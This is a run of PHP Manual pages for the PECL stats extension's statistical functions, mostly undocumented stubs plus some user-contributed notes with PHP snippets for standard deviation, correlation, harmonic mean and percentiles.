Statistic Functions


Not documented

stats_dens_cauchy
stats_dens_exponential
Statistic Functions
PHP Manual

stats_dens_chisquare

(PECL stats >= 1.0.0)

stats_dens_chisquare — Not documented

Description

float stats_dens_chisquare ( float $x , float $dfr )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

dfr

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_cauchy
stats_dens_exponential
Statistic Functions


Not documented

stats_dens_chisquare
stats_dens_f
Statistic Functions
PHP Manual

stats_dens_exponential

(PECL stats >= 1.0.0)

stats_dens_exponential — Not documented

Description

float stats_dens_exponential ( float $x , float $scale )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

scale

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_chisquare
stats_dens_f
Statistic Functions


stats_dens_exponential
stats_dens_gamma
Statistic Functions
PHP Manual

stats_dens_f

(PECL stats >= 1.0.0)

stats_dens_f —

Description

float stats_dens_f ( float $x , float $dfr1 , float $dfr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

dfr1

dfr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_exponential
stats_dens_gamma
Statistic Functions


Not documented

stats_dens_f
stats_dens_laplace
Statistic Functions
PHP Manual

stats_dens_gamma

(PECL stats >= 1.0.0)

stats_dens_gamma — Not documented

Description

float stats_dens_gamma ( float $x , float $shape , float $scale )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

shape

scale

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_f
stats_dens_laplace
Statistic Functions


Not documented

stats_dens_gamma
stats_dens_logistic
Statistic Functions
PHP Manual

stats_dens_laplace

(PECL stats >= 1.0.0)

stats_dens_laplace — Not documented

Description

float stats_dens_laplace ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_gamma
stats_dens_logistic
Statistic Functions


Not documented

stats_dens_laplace
stats_dens_negative_binomial
Statistic Functions
PHP Manual

stats_dens_logistic

(PECL stats >= 1.0.0)

stats_dens_logistic — Not documented

Description

float stats_dens_logistic ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_laplace
stats_dens_negative_binomial
Statistic Functions


Not documented

stats_dens_logistic
stats_dens_normal
Statistic Functions
PHP Manual

stats_dens_negative_binomial

(PECL stats >= 1.0.0)

stats_dens_negative_binomial — Not documented

Description

float stats_dens_negative_binomial ( float $x , float $n , float $pi )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

n

pi

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_logistic
stats_dens_normal
Statistic Functions


Not documented

stats_dens_negative_binomial
stats_dens_pmf_binomial
Statistic Functions
PHP Manual

stats_dens_normal

(PECL stats >= 1.0.0)

stats_dens_normal — Not documented

Description

float stats_dens_normal ( float $x , float $ave , float $stdev )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

ave

stdev

Return Values

User Contributed Notes

Anonymous 10-Aug-2009 04:12
There's a way to try it out:

<?php
...
echo"<pre>\n";
for($x=-2;$x<=2;$x+=0.1){
  echo"$i; ".stats_dens_normal($x,1,1)."\n";
}
echo"</pre>\n";
?>

Observe the result (to determine yourself), or
save it as "stats_dens_normal.csv",
load it into Open Office and make a graph of it
Anonymous 28-Feb-2009 02:37
I'm not certain that I've figured this one out correctly but it should return the value of a (Gaussian) normal distribution of the given properties at the given location.
$x - the X-Value to request
$ave - the 'expected value' (i.e. location of the peak) for the distribution. For most uses this will just be 0.
$stdev - the standard deviation of the distribution. For most uses this will be 1.
stats_dens_negative_binomial
stats_dens_pmf_binomial
Statistic Functions


Not documented

stats_dens_normal
stats_dens_pmf_hypergeometric
Statistic Functions
PHP Manual

stats_dens_pmf_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_binomial — Not documented

Description

float stats_dens_pmf_binomial ( float $x , float $n , float $pi )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

n

pi

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_normal
stats_dens_pmf_hypergeometric
Statistic Functions


stats_dens_pmf_binomial
stats_dens_pmf_poisson
Statistic Functions
PHP Manual

stats_dens_pmf_hypergeometric

(PECL stats >= 1.0.0)

stats_dens_pmf_hypergeometric —

Description

float stats_dens_pmf_hypergeometric ( float $n1 , float $n2 , float $N1 , float $N2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n1

n2

N1

N2

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_pmf_binomial
stats_dens_pmf_poisson
Statistic Functions


Not documented

stats_dens_pmf_hypergeometric
stats_dens_t
Statistic Functions
PHP Manual

stats_dens_pmf_poisson

(PECL stats >= 1.0.0)

stats_dens_pmf_poisson — Not documented

Description

float stats_dens_pmf_poisson ( float $x , float $lb )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

lb

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_pmf_hypergeometric
stats_dens_t
Statistic Functions


Not documented

stats_dens_pmf_poisson
stats_dens_weibull
Statistic Functions
PHP Manual

stats_dens_t

(PECL stats >= 1.0.0)

stats_dens_t — Not documented

Description

float stats_dens_t ( float $x , float $dfr )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

dfr

Return Values

User Contributed Notes

Anonymous 28-Feb-2009 02:12
This function returns the value of a student-T-distribution with the total area of 1.
$dfr are the degrees of freedom for that distribution (aka k)
$x is the X-Value for which the value should be returned
stats_dens_pmf_poisson
stats_dens_weibull
Statistic Functions


Not documented

stats_dens_t
stats_harmonic_mean
Statistic Functions
PHP Manual

stats_dens_weibull

(PECL stats >= 1.0.0)

stats_dens_weibull — Not documented

Description

float stats_dens_weibull ( float $x , float $a , float $b )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_dens_t
stats_harmonic_mean
Statistic Functions


Returns the harmonic mean of an array of values

stats_dens_weibull
stats_kurtosis
Statistic Functions
PHP Manual

stats_harmonic_mean

(PECL stats >= 1.0.0)

stats_harmonic_mean — Returns the harmonic mean of an array of values

Description

number stats_harmonic_mean ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

Daniel Morris (www.danielxmorris.com) 15-Aug-2008 07:51
I wrote this to calculate harmonic averages in my shares program.  Hopefully this can help someone who doesn't want to use PECL.  The function accepts an unlimited number of arguments without the need to place them into an array, which is better than the way the PECL extension handles the function.

<?php

/**
 *  @author    Daniel Morris
*/
function harmonic () {
    $num_args = func_num_args ();
    for ($i = 0; $i < $num_args; $i++) {
        $sum += 1 / func_get_arg ($i);
    }
    return $num_args / $sum;
}

// Tests

echo harmonic (1, 2, 3, 4, 5);
echo harmonic (-1, 3, 4, 10293);
echo harmonic (-1, -2, -3, -4, -5);

//  2.1897810218978
//  -9.6022389365052
//  -2.1897810218978

?>
stats_dens_weibull
stats_kurtosis
Statistic Functions


Computes the kurtosis of the data in the array

stats_harmonic_mean
stats_rand_gen_beta
Statistic Functions
PHP Manual

stats_kurtosis

(PECL stats >= 1.0.0)

stats_kurtosis — Computes the kurtosis of the data in the array

Description

float stats_kurtosis ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_harmonic_mean
stats_rand_gen_beta
Statistic Functions


Generates beta random deviate

stats_kurtosis
stats_rand_gen_chisquare
Statistic Functions
PHP Manual

stats_rand_gen_beta

(PECL stats >= 1.0.0)

stats_rand_gen_beta — Generates beta random deviate

Description

float stats_rand_gen_beta ( float $a , float $b )

Returns a random deviate from the beta distribution with parameters A and B. The density of the beta is x^(a-1) * (1-x)^(b-1) / B(a,b) for 0 < x <. Method R. C. H. Cheng.

Parameters

a

b

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_kurtosis
stats_rand_gen_chisquare
Statistic Functions


Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.

stats_rand_gen_beta
stats_rand_gen_exponential
Statistic Functions
PHP Manual

stats_rand_gen_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_chisquare — Generates random deviate from the distribution of a chisquare with "df" degrees of freedom random variable.

Description

float stats_rand_gen_chisquare ( float $df )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_beta
stats_rand_gen_exponential
Statistic Functions


Generates a single random deviate from an exponential distribution with mean "av"

stats_rand_gen_chisquare
stats_rand_gen_f
Statistic Functions
PHP Manual

stats_rand_gen_exponential

(PECL stats >= 1.0.0)

stats_rand_gen_exponential — Generates a single random deviate from an exponential distribution with mean "av"

Description

float stats_rand_gen_exponential ( float $av )
Warning

This function is currently not documented; only its argument list is available.

Parameters

av

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_chisquare
stats_rand_gen_f
Statistic Functions


Generates a random deviate

stats_rand_gen_exponential
stats_rand_gen_funiform
Statistic Functions
PHP Manual

stats_rand_gen_f

(PECL stats >= 1.0.0)

stats_rand_gen_f — Generates a random deviate

Description

float stats_rand_gen_f ( float $dfn , float $dfd )

Generates a random deviate from the F (variance ratio) distribution with "dfn" degrees of freedom in the numerator and "dfd" degrees of freedom in the denominator. Method : directly generates ratio of chisquare variates.

Parameters

dfn

dfd

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_exponential
stats_rand_gen_funiform
Statistic Functions


Generates uniform float between low (exclusive) and high (exclusive)

stats_rand_gen_f
stats_rand_gen_gamma
Statistic Functions
PHP Manual

stats_rand_gen_funiform

(PECL stats >= 1.0.0)

stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)

Description

float stats_rand_gen_funiform ( float $low , float $high )
Warning

This function is currently not documented; only its argument list is available.

Parameters

low

high

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_f
stats_rand_gen_gamma
Statistic Functions


Generates random deviates from a gamma distribution

stats_rand_gen_funiform
stats_rand_gen_ibinomial_negative
Statistic Functions
PHP Manual

stats_rand_gen_gamma

(PECL stats >= 1.0.0)

stats_rand_gen_gamma — Generates random deviates from a gamma distribution

Description

float stats_rand_gen_gamma ( float $a , float $r )

Generates random deviates from the gamma distribution whose density is (A**R)/Gamma(R) * X**(R-1) * Exp(-A*X).

Parameters

a

location parameter of Gamma distribution (a > 0).

r

shape parameter of Gamma distribution (r > 0).

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_funiform
stats_rand_gen_ibinomial_negative
Statistic Functions


Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).

stats_rand_gen_gamma
stats_rand_gen_ibinomial
Statistic Functions
PHP Manual

stats_rand_gen_ibinomial_negative

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial_negative — Generates a single random deviate from a negative binomial distribution. Arguments : n - the number of trials in the negative binomial distribution from which a random deviate is to be generated (n > 0), p - the probability of an event (0 < p < 1)).

Description

int stats_rand_gen_ibinomial_negative ( int $n , float $p )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n

p

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_gamma
stats_rand_gen_ibinomial
Statistic Functions


Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE

stats_rand_gen_ibinomial_negative
stats_rand_gen_int
Statistic Functions
PHP Manual

stats_rand_gen_ibinomial

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial — Generates a single random deviate from a binomial distribution whose number of trials is "n" (n >= 0) and whose probability of an event in each trial is "pp" ([0;1]). Method : algorithm BTPE

Description

int stats_rand_gen_ibinomial ( int $n , float $pp )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n

pp

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_ibinomial_negative
stats_rand_gen_int
Statistic Functions


Generates random integer between 1 and 2147483562

stats_rand_gen_ibinomial
stats_rand_gen_ipoisson
Statistic Functions
PHP Manual

stats_rand_gen_int

(PECL stats >= 1.0.0)

stats_rand_gen_int — Generates random integer between 1 and 2147483562

Description

int stats_rand_gen_int ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_ibinomial
stats_rand_gen_ipoisson
Statistic Functions


Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).

stats_rand_gen_int
stats_rand_gen_iuniform
Statistic Functions
PHP Manual

stats_rand_gen_ipoisson

(PECL stats >= 1.0.0)

stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution with mean "mu" (mu >= 0.0).

Description

int stats_rand_gen_ipoisson ( float $mu )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mu

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_int
stats_rand_gen_iuniform
Statistic Functions


Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

stats_rand_gen_ipoisson
stats_rand_gen_noncenral_chisquare
Statistic Functions
PHP Manual

stats_rand_gen_iuniform

(PECL stats >= 1.0.0)

stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)

Description

int stats_rand_gen_iuniform ( int $low , int $high )
Warning

This function is currently not documented; only its argument list is available.

Parameters

low

high

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_ipoisson
stats_rand_gen_noncenral_chisquare
Statistic Functions


Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0

stats_rand_gen_iuniform
stats_rand_gen_noncentral_f
Statistic Functions
PHP Manual

stats_rand_gen_noncenral_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_noncenral_chisquare — Generates random deviate from the distribution of a noncentral chisquare with "df" degrees of freedom and noncentrality parameter "xnonc". d must be >= 1.0, xnonc must >= 0.0

Description

float stats_rand_gen_noncenral_chisquare ( float $df , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

xnonc

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_iuniform
stats_rand_gen_noncentral_f
Statistic Functions


Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central 

stats_rand_gen_noncenral_chisquare
stats_rand_gen_noncentral_t
Statistic Functions
PHP Manual

stats_rand_gen_noncentral_f

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F (variance ratio) distribution with "dfn" degrees of freedom in the numerator, and "dfd" degrees of freedom in the denominator, and noncentrality parameter "xnonc". Method : directly generates ratio of noncentral numerator chisquare variate to central denominator chisquare variate.

Description

float stats_rand_gen_noncentral_f ( float $dfn , float $dfd , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

dfn

dfd

xnonc

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_noncenral_chisquare
stats_rand_gen_noncentral_t
Statistic Functions


Generates a single random deviate from a noncentral T distribution

stats_rand_gen_noncentral_f
stats_rand_gen_normal
Statistic Functions
PHP Manual

stats_rand_gen_noncentral_t

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_t — Generates a single random deviate from a noncentral T distribution

Description

float stats_rand_gen_noncentral_t ( float $df , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

xnonc

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_noncentral_f
stats_rand_gen_normal
Statistic Functions


Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.

stats_rand_gen_noncentral_t
stats_rand_gen_t
Statistic Functions
PHP Manual

stats_rand_gen_normal

(PECL stats >= 1.0.0)

stats_rand_gen_normal — Generates a single random deviate from a normal distribution with mean, av, and standard deviation, sd (sd >= 0). Method : Renames SNORM from TOMS as slightly modified by BWB to use RANF instead of SUNIF.

Description

float stats_rand_gen_normal ( float $av , float $sd )
Warning

This function is currently not documented; only its argument list is available.

Parameters

av

sd

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_noncentral_t
stats_rand_gen_t
Statistic Functions


Generates a single random deviate from a T distribution

stats_rand_gen_normal
stats_rand_get_seeds
Statistic Functions
PHP Manual

stats_rand_gen_t

(PECL stats >= 1.0.0)

stats_rand_gen_t — Generates a single random deviate from a T distribution

Description

float stats_rand_gen_t ( float $df )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_normal
stats_rand_get_seeds
Statistic Functions


Not documented

stats_rand_gen_t
stats_rand_phrase_to_seeds
Statistic Functions
PHP Manual

stats_rand_get_seeds

(PECL stats >= 1.0.0)

stats_rand_get_seeds — Not documented

Description

array stats_rand_get_seeds ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_gen_t
stats_rand_phrase_to_seeds
Statistic Functions


generate two seeds for the RGN random number generator

stats_rand_get_seeds
stats_rand_ranf
Statistic Functions
PHP Manual

stats_rand_phrase_to_seeds

(PECL stats >= 1.0.0)

stats_rand_phrase_to_seeds — generate two seeds for the RGN random number generator

Description

array stats_rand_phrase_to_seeds ( string $phrase )
Warning

This function is currently not documented; only its argument list is available.

Parameters

phrase

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_get_seeds
stats_rand_ranf
Statistic Functions


Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator

stats_rand_phrase_to_seeds
stats_rand_setall
Statistic Functions
PHP Manual

stats_rand_ranf

(PECL stats >= 1.0.0)

stats_rand_ranf — Returns a random floating point number from a uniform distribution over 0 - 1 (endpoints of this interval are not returned) using the current generator

Description

float stats_rand_ranf ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_phrase_to_seeds
stats_rand_setall
Statistic Functions


Not documented

stats_rand_ranf
stats_skew
Statistic Functions
PHP Manual

stats_rand_setall

(PECL stats >= 1.0.0)

stats_rand_setall — Not documented

Description

void stats_rand_setall ( int $iseed1 , int $iseed2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

iseed1

iseed2

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_ranf
stats_skew
Statistic Functions


Computes the skewness of the data in the array

stats_rand_setall
stats_standard_deviation
Statistic Functions
PHP Manual

stats_skew

(PECL stats >= 1.0.0)

stats_skew — Computes the skewness of the data in the array

Description

float stats_skew ( array $a )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_rand_setall
stats_standard_deviation
Statistic Functions


Returns the standard deviation

stats_skew
stats_stat_binomial_coef
Statistic Functions
PHP Manual

stats_standard_deviation

(PECL stats >= 1.0.0)

stats_standard_deviation — Returns the standard deviation

Description

float stats_standard_deviation ( array $a [, bool $sample = false ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

sample

Return Values

User Contributed Notes

Pascal Woerde 07-Sep-2010 12:04
If you want one function for the population and sample, you can use this function:

<?php

function standard_deviation($aValues, $bSample = false)
{
    $fMean = array_sum($aValues) / count($aValues);
    $fVariance = 0.0;
    foreach ($aValues as $i)
    {
        $fVariance += pow($i - $fMean, 2);
    }
    $fVariance /= ( $bSample ? count($aValues) - 1 : count($aValues) );
    return (float) sqrt($fVariance);
}
Sharon 16-Apr-2010 02:40
If you don't have the stat package you can use these functions:

<?php

// Function to calculate square of value - mean
function sd_square($x, $mean) { return pow($x - $mean,2); }

// Function to calculate standard deviation (uses sd_square)
function sd($array) {

// square root of sum of squares devided by N-1
return sqrt(array_sum(array_map("sd_square", $array, array_fill(0,count($array), (array_sum($array) / count($array)) ) ) ) / (count($array)-1) );
}

 ?>
stats_skew
stats_stat_binomial_coef
Statistic Functions


Not documented

stats_standard_deviation
stats_stat_correlation
Statistic Functions
PHP Manual

stats_stat_binomial_coef

(PECL stats >= 1.0.0)

stats_stat_binomial_coef — Not documented

Description

float stats_stat_binomial_coef ( int $x , int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

x

n

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_standard_deviation
stats_stat_correlation
Statistic Functions


Not documented

stats_stat_binomial_coef
stats_stat_gennch
Statistic Functions
PHP Manual

stats_stat_correlation

(PECL stats >= 1.0.0)

stats_stat_correlation — Not documented

Description

float stats_stat_correlation ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

admin at maychu dot net (Le Cong) 14-Jun-2009 09:58
Please note that this function is reserved for two arrays with continued numbers inside (just integers).
I tested this function and found that it calculate the Pearson's Correlation Coefficient of two arrays.
---
Here's suggested documentation:

stats_stat_correlation — Calculate the Pearson's Correlation Coefficient of two arrays of continued numbers.

Parameters:
arr1 = array (integer1a, interger2a ...)
arr2 = array (integer1b, interger2b ...))
(Note that the count of elements in two arrays must be equal)

Return value: Pearson's Correlation Coefficient in decimal format (ex. 0.934399822094)

Code examples:

<?php
// Provided by admin@maychu.net
$array_x = array(5,3,6,7,4,2,9,5);
$array_y = array(4,3,4,8,3,2,10,5);
$pearson = stats_stat_correlation($array_x,$array_y);
echo $pearson;
?>
umar dot anjum at ymail dot com 04-Mar-2009 10:05
I tried to use this function, but got a not-defined error. Anyway, I have created a set of functions to replace this:

<?php

//Since Correlation needs two arrays, I am hardcoding them
$array1[0] = 59.3;
$array1[1] = 61.2;
$array1[2] = 56.8
$array1[3] = 97.55;

$array2[0] = 565.82;
$array2[1] = 54.568;
$array2[2] = 84.22;
$array2[3] = 483.55;

//To find the correlation of the two arrays, simply call the
//function Correlation that takes two arrays:

$correlation = Correlation($array1, $array2);

//Displaying the calculated Correlation:
print $correlation;

//The functions that work behind the scene to calculate the
//correlation

function Correlation($arr1, $arr2)
{
    $correlation = 0;

    $k = SumProductMeanDeviation($arr1, $arr2);
    $ssmd1 = SumSquareMeanDeviation($arr1);
    $ssmd2 = SumSquareMeanDeviation($arr2);

    $product = $ssmd1 * $ssmd2;

    $res = sqrt($product);

    $correlation = $k / $res;

    return $correlation;
}

function SumProductMeanDeviation($arr1, $arr2)
{
    $sum = 0;

    $num = count($arr1);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + ProductMeanDeviation($arr1, $arr2, $i);
    }

    return $sum;
}

function ProductMeanDeviation($arr1, $arr2, $item)
{
    return (MeanDeviation($arr1, $item) * MeanDeviation($arr2, $item));
}

function SumSquareMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + SquareMeanDeviation($arr, $i);
    }

    return $sum;
}

function SquareMeanDeviation($arr, $item)
{
    return MeanDeviation($arr, $item) * MeanDeviation($arr, $item);
}

function SumMeanDeviation($arr)
{
    $sum = 0;

    $num = count($arr);

    for($i=0; $i<$num; $i++)
    {
        $sum = $sum + MeanDeviation($arr, $i);
    }

    return $sum;
}

function MeanDeviation($arr, $item)
{
    $average = Average($arr);

    return $arr[$item] - $average;
}

function Average($arr)
{
    $sum = Sum($arr);
    $num = count($arr);

    return $sum/$num;
}

function Sum($arr)
{
    return array_sum($arr);
}

?>
stats_stat_binomial_coef
stats_stat_gennch
Statistic Functions


Not documented

stats_stat_correlation
stats_stat_independent_t
Statistic Functions
PHP Manual

stats_stat_gennch

(PECL stats >= 1.0.0)

stats_stat_gennch — Not documented

Description

float stats_stat_gennch ( int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

n

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_stat_correlation
stats_stat_independent_t
Statistic Functions


Not documented

stats_stat_gennch
stats_stat_innerproduct
Statistic Functions
PHP Manual

stats_stat_independent_t

(PECL stats >= 1.0.0)

stats_stat_independent_t — Not documented

Description

float stats_stat_independent_t ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_stat_gennch
stats_stat_innerproduct
Statistic Functions


stats_stat_independent_t
stats_stat_noncentral_t
Statistic Functions
PHP Manual

stats_stat_innerproduct

(PECL stats >= 1.0.0)

stats_stat_innerproduct —

Description

float stats_stat_innerproduct ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_stat_independent_t
stats_stat_noncentral_t
Statistic Functions


Calculates any one parameter of the noncentral t distribution give values for the others.

stats_stat_innerproduct
stats_stat_paired_t
Statistic Functions
PHP Manual

stats_stat_noncentral_t

(PECL stats >= 1.0.0)

stats_stat_noncentral_t — Calculates any one parameter of the noncentral t distribution give values for the others.

Description

float stats_stat_noncentral_t ( float $par1 , float $par2 , float $par3 , int $which )
Warning

This function is currently not documented; only its argument list is available.

Parameters

par1

par2

par3

which

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_stat_innerproduct
stats_stat_paired_t
Statistic Functions


Not documented

stats_stat_noncentral_t
stats_stat_percentile
Statistic Functions
PHP Manual

stats_stat_paired_t

(PECL stats >= 1.0.0)

stats_stat_paired_t — Not documented

Description

float stats_stat_paired_t ( array $arr1 , array $arr2 )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr1

arr2

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_stat_noncentral_t
stats_stat_percentile
Statistic Functions


Not documented

stats_stat_paired_t
stats_stat_powersum
Statistic Functions
PHP Manual

stats_stat_percentile

(PECL stats >= 1.0.0)

stats_stat_percentile — Not documented

Description

float stats_stat_percentile ( float $df , float $xnonc )
Warning

This function is currently not documented; only its argument list is available.

Parameters

df

xnonc

Return Values

User Contributed Notes

aboulang2002 at yahoo dot com 28-Jan-2009 05:22
If you are looking to infer the percentile from a z-score, you can use this function.
It's far from precise but does the job on most circumstances.
The error function ( erf() )is based on the approximation on wikipedia:
http://en.wikipedia.org/wiki/Error_function

<?php
function erf($x)
{
        $pi = 3.1415927;
        $a = (8*($pi - 3))/(3*$pi*(4 - $pi));
        $x2 = $x * $x;

        $ax2 = $a * $x2;
        $num = (4/$pi) + $ax2;
        $denom = 1 + $ax2;

        $inner = (-$x2)*$num/$denom;
        $erf2 = 1 - exp($inner);

        return sqrt($erf2);
}

function cdf($n)
{
        if($n < 0)
        {
                return (1 - erf($n / sqrt(2)))/2;
        }
        else
        {
                return (1 + erf($n / sqrt(2)))/2;
        }
}

// EXAMPLE
$sample = 90;
$avg = 75;
$stddev = 12;

$zscore = ($sample - $avg) / $stddev;
print 'Percentile: ' . cdf($zscore) * 100 . "\n";
?>

Where $n is the z-score

The function cdf() returns the approximed cumulative standard normal distribution ([0..1])

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (Ed) on 24-FEB-2010 which fixes the definition of $a in erf() with the note that it is "out by a factor of -1" in the original code.]
yuvaraj dot v at gmail dot com 11-Dec-2007 04:37
I have looked at the code available in the Math package for percentile. I compared the result obtained with percentile from Excel and found that it doesnt match. So i wrote my own percentile function and verified the result with the Excel's percentile.

For those of you who need the percentile calculation of Excel in php..

<?php
function mypercentile($data,$percentile){
    if( 0 < $percentile && $percentile < 1 ) {
        $p = $percentile;
    }else if( 1 < $percentile && $percentile <= 100 ) {
        $p = $percentile * .01;
    }else {
        return "";
    }
    $count = count($data);
    $allindex = ($count-1)*$p;
    $intvalindex = intval($allindex);
    $floatval = $allindex - $intvalindex;
    sort($data);
    if(!is_float($floatval)){
        $result = $data[$intvalindex];
    }else {
        if($count > $intvalindex+1)
            $result = $floatval*($data[$intvalindex+1] - $data[$intvalindex]) + $data[$intvalindex];
        else
            $result = $data[$intvalindex];
    }
    return $result;
}
?>

The above code may not be elegant.. but it solves my problem..

yuvaraj
stats_stat_paired_t
stats_stat_powersum
Statistic Functions


Not documented

stats_stat_percentile
stats_variance
Statistic Functions
PHP Manual

stats_stat_powersum

(PECL stats >= 1.0.0)

stats_stat_powersum — Not documented

Description

float stats_stat_powersum ( array $arr , float $power )
Warning

This function is currently not documented; only its argument list is available.

Parameters

arr

power

Return Values

User Contributed Notes

There are no user contributed notes for this page.
stats_stat_percentile
stats_variance
Statistic Functions


Returns the population variance

stats_stat_powersum
Non-Text MIME Output
Statistic Functions
PHP Manual

stats_variance

(PECL stats >= 1.0.0)

stats_variance — Returns the population variance

Description

float stats_variance ( array $a [, bool $sample = false ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

a

sample

Return Values

User Contributed Notes

Anonymous 27-Feb-2009 01:43
This will return surprising values for most users, since the default of sample=false is rather unusual when speaking about variance.

Point is:
When using stats_variance($foo,TRUE) the sum is divided by n-1 while the default just divides it by n. So when you expect your variance to be lower you probable wanted to divide by n-1, therefore should set the second parameter =TRUE.
stats_stat_powersum
Non-Text MIME Output
Statistic Functions


Non-Text MIME Output

  • FDF — Forms Data Format
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • FDF Functions
  • GnuPG — GNU Privacy Guard
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
